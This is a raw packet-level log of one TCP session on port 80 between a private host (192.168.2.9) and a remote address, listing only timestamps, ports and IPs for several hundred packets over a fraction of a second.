Dec 23, 2024 08:53:16.747597933 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.747697115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.747740030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.748306990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.748464108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.748502970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.749006033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.749100924 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.749408007 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.749780893 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.749882936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.749979973 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.750405073 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.750519991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.750557899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.751097918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.751190901 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.751804113 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.751817942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.751939058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.751980066 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.752507925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.752623081 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.752721071 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.753240108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.753329039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.753400087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.753931999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.754025936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.754067898 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.754652977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.754717112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.755239964 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.755309105 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.755392075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.755434990 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.756016016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.756102085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.756275892 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.756742954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.756834984 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.756876945 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.757416010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.757476091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.757517099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.758126020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.758145094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.758194923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.758819103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.758923054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.759094000 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.759546995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.759697914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.759752035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.760231972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.760361910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.760401011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.760915041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.761020899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.761061907 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.761617899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.761714935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.761759996 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.762324095 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.762404919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.762473106 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.763036966 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.763128042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.763766050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.763782978 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.763849020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.763919115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.764424086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.764533997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.765145063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.765192032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.765230894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.765271902 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.765825987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.765973091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.766076088 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.766534090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.766596079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.767242908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.767287016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.767294884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.767338037 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.767956972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.768028975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.768080950 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.768627882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.768748045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.768795967 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.769352913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.769433975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.769547939 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.770039082 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.770113945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.770153999 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.770747900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.770843983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.770894051 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.771430016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.771534920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.771575928 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.772144079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.772234917 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.772342920 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.772842884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.772938967 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.772978067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.773542881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.773641109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.773701906 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.774235964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.774328947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.774382114 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.774976969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.775062084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.775382042 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.775659084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.775753021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.776351929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.776374102 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.776459932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.776551962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.777051926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.777160883 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.777210951 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.777784109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.777868986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.778052092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.778435946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.778546095 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.779071093 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.779128075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.779218912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.779258966 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.779843092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.779954910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.780076027 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.780515909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.780613899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.780667067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.781194925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.781315088 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.781358957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.781898975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.781972885 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.782394886 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.782578945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.782711029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.782767057 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.783257961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.783440113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.783765078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.783885002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.783956051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.784013033 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.784570932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.784625053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.784672022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.785214901 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.785311937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.785378933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.785868883 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.786031961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.786217928 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.786519051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.786631107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.786673069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.787152052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.787226915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.787240028 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.787266970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.788120031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.788172960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.788211107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.788223028 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.788252115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.789083958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.789180040 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.789191961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.789230108 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.790046930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.790093899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.790172100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.790184975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.790254116 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.791007042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.791081905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.791096926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.791138887 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.791965961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.792021990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.792026043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.792042017 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.792089939 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.792932987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793000937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793014050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793123007 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.793894053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793939114 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.793941021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793956041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.793993950 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.794862032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.794990063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.795003891 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.795042038 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.795892954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.795933008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.795984030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.796041965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.796092987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.796802044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.796895027 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.796926975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.796977043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.797769070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.797833920 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.797837973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.797852993 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.797889948 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.798682928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.798748016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.798762083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.798801899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.799627066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.799681902 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.799695969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.799710035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.799767017 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.800610065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.800887108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.800934076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.801188946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.801249027 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.801260948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.801285982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.802175045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.802249908 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.802257061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.802273989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.802301884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.803136110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.803221941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.803235054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.803307056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.804059029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.804125071 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.804130077 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.804143906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.804203033 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.805002928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.805082083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.805097103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.805135965 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.805975914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.806030989 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.806041002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.806054115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.806118011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.806957006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.807023048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.807035923 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.807074070 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.807903051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.807975054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.807986975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.808024883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.808064938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.808844090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.808892965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.808906078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.808947086 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.809804916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.809865952 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.809875011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.809889078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.809922934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.810787916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.810832024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.810843945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.810880899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.811697960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.811743021 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.811754942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.811768055 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.811805010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.812648058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.812726021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.812737942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.812774897 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.813618898 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.813683987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.813695908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.813709974 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.813769102 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.814563036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.814624071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.814636946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.814672947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.815619946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.815639973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.815650940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.815677881 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.815721989 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.816467047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.816534996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.816548109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.816612959 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.817449093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.817493916 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.817732096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.817791939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.817802906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.817856073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.818696022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.818768024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.818778992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.818805933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.818846941 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.819672108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.819720984 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.819737911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.819786072 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.820624113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.820664883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.820688009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.820699930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.820729017 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.821599960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.821655035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.821666002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.821708918 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.822563887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:16.822607994 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:16.822642088 CET	80	49777	185.215.113.16	192.168.2.9
